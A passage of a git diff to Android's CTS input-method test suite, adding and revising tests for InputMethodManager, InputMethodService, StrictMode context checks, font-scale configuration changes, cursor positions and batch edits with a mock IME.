-    private View addChildWindow(Activity activity) {
-        final Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        final WindowManager wm = context.getSystemService(WindowManager.class);
-        final WindowManager.LayoutParams attrs = new WindowManager.LayoutParams();
-        attrs.token = activity.getWindow().getAttributes().token;
-        attrs.type = TYPE_APPLICATION;
-        attrs.width = 200;
-        attrs.height = 200;
-        attrs.format = PixelFormat.TRANSPARENT;
-        attrs.flags = FLAG_NOT_FOCUSABLE | FLAG_ALT_FOCUSABLE_IM;
-        attrs.setFitInsetsTypes(WindowInsets.Type.ime() | WindowInsets.Type.statusBars()
-                | WindowInsets.Type.navigationBars());
-        final View childViewRoot = new View(context);
+    private View addChildWindow(Activity activity, WindowManager.LayoutParams attrs) {
+        final WindowManager wm = activity.getSystemService(WindowManager.class);
+        final View childViewRoot = new View(activity);
         childViewRoot.setVisibility(View.GONE);
         wm.addView(childViewRoot, attrs);
         return childViewRoot;
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InlineSuggestionsRequestTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InlineSuggestionsRequestTest.java
index 68e91c1..39d1385 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InlineSuggestionsRequestTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InlineSuggestionsRequestTest.java
@@ -91,7 +91,7 @@
         assertThat(request.getInlinePresentationSpecs().size()).isEqualTo(1);
         assertThat(request.getInlinePresentationSpecs().get(0).getStyle()).isEqualTo(Bundle.EMPTY);
         assertThat(request.getExtras()).isEqualTo(Bundle.EMPTY);
-        assertThat(request.getSupportedLocales()).isEqualTo(LocaleList.getDefault());
+        assertThat(request.getSupportedLocales()).isEqualTo(LocaleList.getEmptyLocaleList());
 
         // Tests the parceling/deparceling
         Parcel p = Parcel.obtain();
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java
index c949793..48c925b 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputConnectionWrapperTest.java
@@ -29,6 +29,7 @@
 import static org.mockito.Mockito.never;
 import static org.mockito.Mockito.times;
 import static org.mockito.Mockito.verify;
+import static org.testng.Assert.expectThrows;
 
 import android.content.ClipDescription;
 import android.net.Uri;
@@ -168,4 +169,19 @@
         wrapper.commitContent(inputContentInfo, 0 /* flags */, null /* opt */);
         verify(inputConnection, times(1)).commitContent(inputContentInfo, 0, null);
     }
+
+    @Test
+    public void testInvalidGetTextBeforeOrAfterCursorRequest() {
+        InputConnection inputConnection = mock(InputConnection.class);
+        doReturn(true).when(inputConnection).commitContent(any(InputContentInfo.class),
+                anyInt(), any(Bundle.class));
+        InputConnectionWrapper wrapper = new InputConnectionWrapper(null, true);
+        // IllegalArgumentException shall be thrown no matter if target is null.
+        expectThrows(IllegalArgumentException.class,  ()-> wrapper.getTextAfterCursor(-1, 0));
+        expectThrows(IllegalArgumentException.class,  ()-> wrapper.getTextBeforeCursor(-1, 0));
+
+        wrapper.setTarget(inputConnection);
+        expectThrows(IllegalArgumentException.class,  ()-> wrapper.getTextAfterCursor(-1, 0));
+        expectThrows(IllegalArgumentException.class,  ()-> wrapper.getTextBeforeCursor(-1, 0));
+    }
 }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodCtsActivity.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodCtsActivity.java
deleted file mode 100644
index 309ebe8..0000000
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodCtsActivity.java
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.inputmethod.cts;
-
-import android.app.Activity;
-import android.os.Bundle;
-
-public class InputMethodCtsActivity extends Activity {
-    @Override
-    protected void onCreate(Bundle icicle) {
-        super.onCreate(icicle);
-        setContentView(R.layout.inputmethod_edittext);
-    }
-}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java
index 1b96528..9b1c836 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java
@@ -20,6 +20,10 @@
 import static android.content.Intent.FLAG_RECEIVER_FOREGROUND;
 import static android.view.inputmethod.cts.util.TestUtils.waitOnMainUntil;
 
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
@@ -47,7 +51,11 @@
 import androidx.test.filters.MediumTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
 
+import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -60,10 +68,16 @@
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class InputMethodManagerTest {
+    private static final String MOCK_IME_ID = "com.android.cts.mockime/.MockIme";
+    private static final String MOCK_IME_LABEL = "Mock IME";
+    private static final String HIDDEN_FROM_PICKER_IME_ID =
+            "com.android.cts.hiddenfrompickerime/.HiddenFromPickerIme";
+    private static final String HIDDEN_FROM_PICKER_IME_LABEL = "Hidden From Picker IME";
     private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
     private Instrumentation mInstrumentation;
     private Context mContext;
     private InputMethodManager mImManager;
+    private boolean mNeedsImeReset = false;
 
     @Before
     public void setup() {
@@ -72,6 +86,14 @@
         mImManager = mContext.getSystemService(InputMethodManager.class);
     }
 
+    @After
+    public void resetImes() {
+        if (mNeedsImeReset) {
+            runShellCommand("ime reset");
+            mNeedsImeReset = false;
+        }
+    }
+
     @Test
     public void testIsActive() throws Throwable {
         final AtomicReference<EditText> focusedEditTextRef = new AtomicReference<>();
@@ -139,6 +161,16 @@
         }
     }
 
+    @Test
+    public void testGetEnabledInputMethodList() throws Exception {
+        enableImes(HIDDEN_FROM_PICKER_IME_ID);
+        final List<InputMethodInfo> enabledImes = mImManager.getEnabledInputMethodList();
+        assertThat(enabledImes).isNotNull();
+        final List<String> enabledImeIds =
+                enabledImes.stream().map(InputMethodInfo::getId).collect(Collectors.toList());
+        assertThat(enabledImeIds).contains(HIDDEN_FROM_PICKER_IME_ID);
+    }
+
     private static String dumpInputMethodInfoList(@NonNull List<InputMethodInfo> imiList) {
         return "[" + imiList.stream().map(imi -> {
             final StringBuilder sb = new StringBuilder();
@@ -173,6 +205,8 @@
     public void testShowInputMethodPicker() throws Exception {
         assumeTrue(mContext.getPackageManager().hasSystemFeature(
                 PackageManager.FEATURE_INPUT_METHODS));
+        enableImes(MOCK_IME_ID, HIDDEN_FROM_PICKER_IME_ID);
+
         TestActivity.startSync(activity -> {
             final View view = new View(activity);
             view.setLayoutParams(new LayoutParams(
@@ -190,6 +224,10 @@
         mImManager.showInputMethodPicker();
         waitOnMainUntil(() -> mImManager.isInputMethodPickerShown(), TIMEOUT,
                 "InputMethod picker should be shown");
+        final UiDevice uiDevice =
+                UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+        assertThat(uiDevice.wait(Until.hasObject(By.text(MOCK_IME_LABEL)), TIMEOUT)).isTrue();
+        assertThat(uiDevice.findObject(By.text(HIDDEN_FROM_PICKER_IME_LABEL))).isNull();
 
         // Make sure that InputMethodPicker can be closed with ACTION_CLOSE_SYSTEM_DIALOGS
         mContext.sendBroadcast(
@@ -197,4 +235,11 @@
         waitOnMainUntil(() -> !mImManager.isInputMethodPickerShown(), TIMEOUT,
                 "InputMethod picker should be closed");
     }
+
+    private void enableImes(String... ids) {
+        for (String id : ids) {
+            runShellCommand("ime enable " + id);
+        }
+        mNeedsImeReset = true;
+    }
 }
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceStrictModeTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceStrictModeTest.java
new file mode 100644
index 0000000..709f275
--- /dev/null
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceStrictModeTest.java
@@ -0,0 +1,205 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.inputmethod.cts;
+
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
+
+import static com.android.cts.mockime.ImeEventStreamTestUtils.EventFilterMode.CHECK_ALL;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.clearAllEvents;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectCommand;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
+
+import android.content.Context;
+import android.content.res.Configuration;
+import android.inputmethodservice.InputMethodService;
+import android.os.StrictMode;
+import android.view.inputmethod.cts.util.EndToEndImeTestBase;
+import android.view.inputmethod.cts.util.TestActivity;
+import android.widget.EditText;
+import android.widget.LinearLayout;
+
+import androidx.annotation.IntDef;
+import androidx.test.filters.LargeTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.util.concurrent.TimeUnit;
+
+/** Tests for verifying {@link StrictMode} violations on {@link InputMethodService} APIs. */
+@LargeTest
+@RunWith(AndroidJUnit4.class)
+public class InputMethodServiceStrictModeTest extends EndToEndImeTestBase {
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    private static final long EXPECTED_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
+
+    /**
+     * Verifies if get {@link android.view.WindowManager} from {@link InputMethodService} and
+     * context created from {@link InputMethodService#createConfigurationContext(Configuration)}
+     * violates incorrect context violation.
+     *
+     * @see Context#getSystemService(String)
+     * @see Context#getSystemService(Class)
+     */
+    private static final int VERIFY_MODE_GET_WINDOW_MANAGER = 1;
+    /**
+     * Verifies if passing {@link InputMethodService} and context created
+     * from {@link InputMethodService#createConfigurationContext(Configuration)} to
+     * {@link android.view.ViewConfiguration#get(Context)} violates incorrect context violation.
+     */
+    private static final int VERIFY_MODE_GET_VIEW_CONFIGURATION = 2;
+    /**
+     * Verifies if passing {@link InputMethodService} and context created
+     * from {@link InputMethodService#createConfigurationContext(Configuration)} to
+     * {@link android.view.GestureDetector} constructor violates incorrect context violation.
+     */
+    private static final int VERIFY_MODE_GET_GESTURE_DETECTOR = 3;
+
+    /**
+     * Verify mode to verifying if APIs violates incorrect context violation.
+     *
+     * @see #VERIFY_MODE_GET_WINDOW_MANAGER
+     * @see #VERIFY_MODE_GET_VIEW_CONFIGURATION
+     * @see #VERIFY_MODE_GET_GESTURE_DETECTOR
+     */
+    @Retention(RetentionPolicy.SOURCE)
+    @IntDef(flag = true, value = {
+            VERIFY_MODE_GET_WINDOW_MANAGER,
+            VERIFY_MODE_GET_VIEW_CONFIGURATION,
+            VERIFY_MODE_GET_GESTURE_DETECTOR,
+    })
+    private @interface VerifyMode {}
+
+    @Test
+    public void testIncorrectContextUseOnGetSystemService() throws Exception {
+        verifyIms(VERIFY_MODE_GET_WINDOW_MANAGER);
+    }
+
+    @Test
+    public void testIncorrectContextUseOnGetViewConfiguration() throws Exception {
+        verifyIms(VERIFY_MODE_GET_VIEW_CONFIGURATION);
+    }
+
+    @Test
+    public void testIncorrectContextUseOnGetGestureDetector() throws Exception {
+        verifyIms(VERIFY_MODE_GET_GESTURE_DETECTOR);
+    }
+
+    /**
+     * Verify if APIs violates incorrect context violations by {@code mode}.
+     *
+     * @see VerifyMode
+     */
+    private void verifyIms(@VerifyMode int mode) throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder().setStrictModeEnabled(true))) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            createTestActivity(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+            expectEvent(stream, event -> "onStartInput".equals(event.getEventName()), TIMEOUT);
+
+            final ImeEventStream forkedStream = clearAllEvents(stream, "onStrictModeViolated");
+            switch (mode) {
+                case VERIFY_MODE_GET_WINDOW_MANAGER:
+                    expectCommand(forkedStream, imeSession.callVerifyGetWindowManager(), TIMEOUT);
+                    break;
+                case VERIFY_MODE_GET_VIEW_CONFIGURATION:
+                    expectCommand(forkedStream,
+                            imeSession.callVerifyGetViewConfiguration(), TIMEOUT);
+                    break;
+                case VERIFY_MODE_GET_GESTURE_DETECTOR:
+                    expectCommand(forkedStream, imeSession.callVerifyGetGestureDetector(), TIMEOUT);
+                    break;
+                default:
+                    // do nothing here.
+                    break;
+            }
+            notExpectEvent(stream, event -> "onStrictModeViolated".equals(event.getEventName()),
+                    EXPECTED_TIMEOUT);
+        }
+    }
+
+    /**
+     * Test if UI component accesses from display context derived from {@link InputMethodService}
+     * throw strict mode violations.
+     */
+    @Test
+    public void testIncorrectContextUseOnImsDerivedDisplayContext() throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder().setStrictModeEnabled(true))) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            createTestActivity(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+            expectEvent(stream, event -> "onStartInput".equals(event.getEventName()), TIMEOUT);
+
+            // Verify if obtaining a WindowManager on an InputMethodService derived display context
+            // throws a strict mode violation.
+            ImeEventStream forkedStream = clearAllEvents(stream, "onStrictModeViolated");
+            expectCommand(forkedStream, imeSession.callVerifyGetWindowManagerOnDisplayContext(),
+                    TIMEOUT);
+
+            expectEvent(stream, event -> "onStrictModeViolated".equals(event.getEventName()),
+                    CHECK_ALL, TIMEOUT);
+
+            // Verify if obtaining a ViewConfiguration on an InputMethodService derived display
+            // context throws a strict mode violation.
+            forkedStream = clearAllEvents(stream, "onStrictModeViolated");
+            expectCommand(forkedStream, imeSession.callVerifyGetViewConfigurationOnDisplayContext(),
+                    TIMEOUT);
+
+            expectEvent(stream, event -> "onStrictModeViolated".equals(event.getEventName()),
+                    CHECK_ALL, TIMEOUT);
+
+            // Verify if obtaining a GestureDetector on an InputMethodService derived display
+            // context throws a strict mode violation.
+            forkedStream = clearAllEvents(stream, "onStrictModeViolated");
+            expectCommand(forkedStream, imeSession.callVerifyGetGestureDetectorOnDisplayContext(),
+                    TIMEOUT);
+
+            expectEvent(stream, event -> "onStrictModeViolated".equals(event.getEventName()),
+                    CHECK_ALL, TIMEOUT);
+        }
+    }
+
+    private TestActivity createTestActivity(final int windowFlags) {
+        return TestActivity.startSync(activity -> {
+            final LinearLayout layout = new LinearLayout(activity);
+            layout.setOrientation(LinearLayout.VERTICAL);
+
+            final EditText editText = new EditText(activity);
+            editText.setText("Editable");
+            layout.addView(editText);
+            editText.requestFocus();
+
+            activity.getWindow().setSoftInputMode(windowFlags);
+            return layout;
+        });
+    }
+}
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
index 42d841a..c1f1be2 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodServiceTest.java
@@ -16,6 +16,8 @@
 
 package android.view.inputmethod.cts;
 
+import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE;
+import static android.content.pm.ActivityInfo.SCREEN_ORIENTATION_PORTRAIT;
 import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN;
 import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
 import static android.view.inputmethod.cts.util.InputMethodVisibilityVerifier.expectImeInvisible;
@@ -30,16 +32,21 @@
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEventWithKeyValue;
 import static com.android.cts.mockime.ImeEventStreamTestUtils.notExpectEvent;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.verificationMatcher;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
 import static org.junit.Assert.fail;
 
+import android.app.Activity;
 import android.app.Instrumentation;
+import android.content.Intent;
 import android.graphics.Matrix;
 import android.inputmethodservice.InputMethodService;
+import android.os.Bundle;
 import android.os.SystemClock;
+import android.support.test.uiautomator.UiObject2;
 import android.text.TextUtils;
 import android.view.KeyCharacterMap;
 import android.view.KeyEvent;
@@ -51,8 +58,11 @@
 import android.view.inputmethod.InputMethodManager;
 import android.view.inputmethod.cts.util.EndToEndImeTestBase;
 import android.view.inputmethod.cts.util.TestActivity;
+import android.view.inputmethod.cts.util.TestActivity2;
 import android.view.inputmethod.cts.util.TestUtils;
+import android.view.inputmethod.cts.util.TestWebView;
 import android.view.inputmethod.cts.util.UnlockScreenRule;
+import android.webkit.WebView;
 import android.widget.EditText;
 import android.widget.LinearLayout;
 
@@ -60,6 +70,7 @@
 import androidx.test.platform.app.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
+import com.android.compatibility.common.util.SystemUtil;
 import com.android.cts.mockime.ImeCommand;
 import com.android.cts.mockime.ImeEvent;
 import com.android.cts.mockime.ImeEventStream;
@@ -71,6 +82,7 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.io.IOException;
 import java.util.ArrayList;
 import java.util.concurrent.TimeUnit;
 import java.util.concurrent.TimeoutException;
@@ -84,9 +96,13 @@
 @MediumTest
 @RunWith(AndroidJUnit4.class)
 public class InputMethodServiceTest extends EndToEndImeTestBase {
-    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(5);
+    private static final long TIMEOUT = TimeUnit.SECONDS.toMillis(20);
     private static final long EXPECTED_TIMEOUT = TimeUnit.SECONDS.toMillis(2);
 
+    private static final String ERASE_FONT_SCALE_CMD = "settings delete system font_scale";
+    // 1.2 is an arbitrary value.
+    private static final String PUT_FONT_SCALE_CMD = "settings put system font_scale 1.2";
+
     @Rule
     public final UnlockScreenRule mUnlockScreenRule = new UnlockScreenRule();
 
@@ -111,20 +127,27 @@
     }
 
     private TestActivity createTestActivity(final int windowFlags) {
-        return TestActivity.startSync(activity -> {
-            final LinearLayout layout = new LinearLayout(activity);
-            layout.setOrientation(LinearLayout.VERTICAL);
-
-            final EditText editText = new EditText(activity);
-            editText.setText("Editable");
-            layout.addView(editText);
-            editText.requestFocus();
-
-            activity.getWindow().setSoftInputMode(windowFlags);
-            return layout;
-        });
+        return TestActivity.startSync(activity -> createLayout(windowFlags, activity));
     }
 
+    private TestActivity createTestActivity2(final int windowFlags) {
+        return TestActivity2.startSync(activity -> createLayout(windowFlags, activity));
+    }
+
+    private LinearLayout createLayout(final int windowFlags, final Activity activity) {
+        final LinearLayout layout = new LinearLayout(activity);
+        layout.setOrientation(LinearLayout.VERTICAL);
+
+        final EditText editText = new EditText(activity);
+        editText.setText("Editable");
+        layout.addView(editText);
+        editText.requestFocus();
+
+        activity.getWindow().setSoftInputMode(windowFlags);
+        return layout;
+    }
+
+
     @Test
     public void verifyLayoutInflaterContext() throws Exception {
         try (MockImeSession imeSession = MockImeSession.create(
@@ -241,6 +264,73 @@
         }
     }
 
+    @Test
+    public void testHandlesConfigChanges() throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder())) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            // Case 1: Activity handles configChanges="fontScale"
+            createTestActivity(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+            expectEvent(stream, event -> "onStartInput".equals(event.getEventName()), TIMEOUT);
+            expectEvent(stream, event -> "showSoftInput".equals(event.getEventName()), TIMEOUT);
+            // MockIme handles fontScale. Make sure changing fontScale doesn't restart IME.
+            enableFontScale();
+            expectImeVisible(TIMEOUT);
+            // Make sure IME was not restarted.
+            notExpectEvent(stream, event -> "onCreate".equals(event.getEventName()),
+                    EXPECTED_TIMEOUT);
+            notExpectEvent(stream, event -> "showSoftInput".equals(event.getEventName()),
+                    EXPECTED_TIMEOUT);
+
+            eraseFontScale();
+
+            // Case 2: Activity *doesn't* handle configChanges="fontScale" and restarts.
+            final Activity activity = createTestActivity2(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+            expectEvent(stream, event -> "onStartInput".equals(event.getEventName()), TIMEOUT);
+            // MockIme handles fontScale. Make sure changing fontScale doesn't restart IME.
+            enableFontScale();
+            expectImeVisible(TIMEOUT);
+            // Make sure IME was not restarted.
+            notExpectEvent(stream, event -> "onCreate".equals(event.getEventName()),
+                    EXPECTED_TIMEOUT);
+            notExpectEvent(stream, event -> "onStartInput".equals(event.getEventName()),
+                    EXPECTED_TIMEOUT);
+        } finally {
+            eraseFontScale();
+        }
+    }
+
+    /**
+     * Font scale is a global configuration.
+     * This function will apply font scale changes.
+     */
+    private void enableFontScale() {
+        try {
+            final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+            SystemUtil.runShellCommand(instrumentation, PUT_FONT_SCALE_CMD);
+            instrumentation.waitForIdleSync();
+        } catch (IOException io) {
+            fail("Couldn't apply font scale.");
+        }
+    }
+
+    /**
+     * Font scale is a global configuration.
+     * This function will apply font scale changes.
+     */
+    private void eraseFontScale() {
+        try {
+            final Instrumentation instrumentation = InstrumentationRegistry.getInstrumentation();
+            SystemUtil.runShellCommand(instrumentation, ERASE_FONT_SCALE_CMD);
+            instrumentation.waitForIdleSync();
+        } catch (IOException io) {
+            fail("Couldn't apply font scale.");
+        }
+    }
+
     private static void assertSynthesizedSoftwareKeyEvent(KeyEvent keyEvent, int expectedAction,
             int expectedKeyCode, long expectedEventTimeBefore, long expectedEventTimeAfter) {
         if (keyEvent.getEventTime() < expectedEventTimeBefore
@@ -329,6 +419,10 @@
                     expectedKeyCode, uptimeStart, uptimeEnd);
             assertSynthesizedSoftwareKeyEvent(keyEvents.get(1), KeyEvent.ACTION_UP,
                     expectedKeyCode, uptimeStart, uptimeEnd);
+            final Bundle arguments = expectEvent(stream,
+                    event -> "onUpdateSelection".equals(event.getEventName()),
+                    TIMEOUT).getArguments();
+            expectOnUpdateSelectionArguments(arguments, 0, 0, 1, 1, -1, -1);
         }
     }
 
@@ -403,4 +497,455 @@
             assertEquals(receivedCursorAnchorInfo, originalCursorAnchorInfo);
         }
     }
+
+    /** Test that no exception is thrown when {@link InputMethodService#getDisplay()} is called */
+    @Test
+    public void testGetDisplay() throws Exception {
+        try (MockImeSession imeSession = MockImeSession.create(
+                mInstrumentation.getContext(), mInstrumentation.getUiAutomation(),
+                new ImeSettings.Builder().setVerifyGetDisplayOnCreate(true))) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            // Verify if getDisplay doesn't throw exception before InputMethodService's
+            // initialization.
+            assertTrue(expectEvent(stream, verificationMatcher("getDisplay"),
+                    CHECK_EXIT_EVENT_ONLY, TIMEOUT).getReturnBooleanValue());
+            createTestActivity(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+
+            expectEvent(stream, event -> "onStartInput".equals(event.getEventName()), TIMEOUT);
+            // Verify if getDisplay doesn't throw exception
+            assertTrue(expectCommand(stream, imeSession.callVerifyGetDisplay(), TIMEOUT)
+                    .getReturnBooleanValue());
+        }
+    }
+
+    /** Test the cursor position of {@link EditText} is correct after typing on another activity. */
+    @Test
+    public void testCursorAfterLaunchAnotherActivity() throws Exception {
+        final AtomicReference<EditText> firstEditTextRef = new AtomicReference<>();
+        final int newCursorOffset = 5;
+        final String initialText = "Initial";
+        final String firstCommitMsg = "First";
+        final String secondCommitMsg = "Second";
+
+        try (MockImeSession imeSession = MockImeSession.create(
+                InstrumentationRegistry.getInstrumentation().getContext(),
+                InstrumentationRegistry.getInstrumentation().getUiAutomation(),
+                new ImeSettings.Builder())) {
+            final String marker =
+                    "testCursorAfterLaunchAnotherActivity()/" + SystemClock.elapsedRealtimeNanos();
+
+            // Launch first test activity
+            TestActivity.startSync(activity -> {
+                final LinearLayout layout = new LinearLayout(activity);
+                layout.setOrientation(LinearLayout.VERTICAL);
+
+                final EditText editText = new EditText(activity);
+                editText.setPrivateImeOptions(marker);
+                editText.setSingleLine(false);
+                firstEditTextRef.set(editText);
+                editText.setText(initialText);
+                layout.addView(editText);
+                editText.requestFocus();
+                return layout;
+            });
+
+            final EditText firstEditText = firstEditTextRef.get();
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            // Verify onStartInput when first activity launch
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+
+            final ImeCommand commit = imeSession.callCommitText(firstCommitMsg, 1);
+            expectCommand(stream, commit, TIMEOUT);
+            TestUtils.waitOnMainUntil(
+                    () -> TextUtils.equals(
+                            firstEditText.getText(), initialText + firstCommitMsg), TIMEOUT);
+
+            // Get current position
+            int originalSelectionStart = firstEditText.getSelectionStart();
+            int originalSelectionEnd = firstEditText.getSelectionEnd();
+
+            assertEquals(initialText.length() + firstCommitMsg.length(), originalSelectionStart);
+            assertEquals(initialText.length() + firstCommitMsg.length(), originalSelectionEnd);
+
+            // Launch second test activity
+            final Intent intent = new Intent()
+                    .setAction(Intent.ACTION_MAIN)
+                    .setClass(InstrumentationRegistry.getInstrumentation().getContext(),
+                            TestActivity.class)
+                    .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            TestActivity secondActivity = (TestActivity) InstrumentationRegistry
+                    .getInstrumentation().startActivitySync(intent);
+
+            // Verify onStartInput when second activity launch
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+
+            // Commit some messages on second activity
+            final ImeCommand secondCommit = imeSession.callCommitText(secondCommitMsg, 1);
+            expectCommand(stream, secondCommit, TIMEOUT);
+
+            // Back to first activity
+            runOnMainSync(secondActivity::onBackPressed);
+
+            // Make sure TestActivity#onBackPressed() is called.
+            TestUtils.waitOnMainUntil(() -> secondActivity.getOnBackPressedCallCount() > 0,
+                    TIMEOUT, "Activity#onBackPressed() should be called");
+
+            TestUtils.runOnMainSync(firstEditText::requestFocus);
+
+            // Verify onStartInput when first activity launch
+            expectEvent(stream, editorMatcher("onStartInput", marker), TIMEOUT);
+
+            // Update cursor to a new position
+            int newCursorPosition = originalSelectionStart - newCursorOffset;
+            final ImeCommand setSelection =
+                    imeSession.callSetSelection(newCursorPosition, newCursorPosition);
+            expectCommand(stream, setSelection, TIMEOUT);
+
+            // Commit to first activity again
+            final ImeCommand commitFirstAgain = imeSession.callCommitText(firstCommitMsg, 1);
+            expectCommand(stream, commitFirstAgain, TIMEOUT);
+            TestUtils.waitOnMainUntil(
+                    () -> TextUtils.equals(firstEditText.getText(), "InitialFirstFirst"), TIMEOUT);
+
+            // get new position
+            int newSelectionStart = firstEditText.getSelectionStart();
+            int newSelectionEnd = firstEditText.getSelectionEnd();
+
+            assertEquals(newSelectionStart, newCursorPosition + firstCommitMsg.length());
+            assertEquals(newSelectionEnd, newCursorPosition + firstCommitMsg.length());
+        }
+    }
+
+    @Test
+    public void testBatchEdit_commitAndSetComposingRegion_textView() throws Exception {
+        getCommitAndSetComposingRegionTest(TIMEOUT,
+                "testBatchEdit_commitAndSetComposingRegion_textView/")
+                .setTestTextView(true)
+                .runTest();
+    }
+
+    @Test
+    public void testBatchEdit_commitAndSetComposingRegion_webView() throws Exception {
+        getCommitAndSetComposingRegionTest(TIMEOUT,
+                "testBatchEdit_commitAndSetComposingRegion_webView/")
+                .setTestTextView(false)
+                .runTest();
+    }
+
+    @Test
+    public void testBatchEdit_commitSpaceThenSetComposingRegion_textView() throws Exception {
+        getCommitSpaceAndSetComposingRegionTest(TIMEOUT,
+                "testBatchEdit_commitSpaceThenSetComposingRegion_textView/")
+                .setTestTextView(true)
+                .runTest();
+    }
+
+    @Test
+    public void testBatchEdit_commitSpaceThenSetComposingRegion_webView() throws Exception {
+        getCommitSpaceAndSetComposingRegionTest(TIMEOUT,
+                "testBatchEdit_commitSpaceThenSetComposingRegion_webView/")
+                .setTestTextView(false)
+                .runTest();
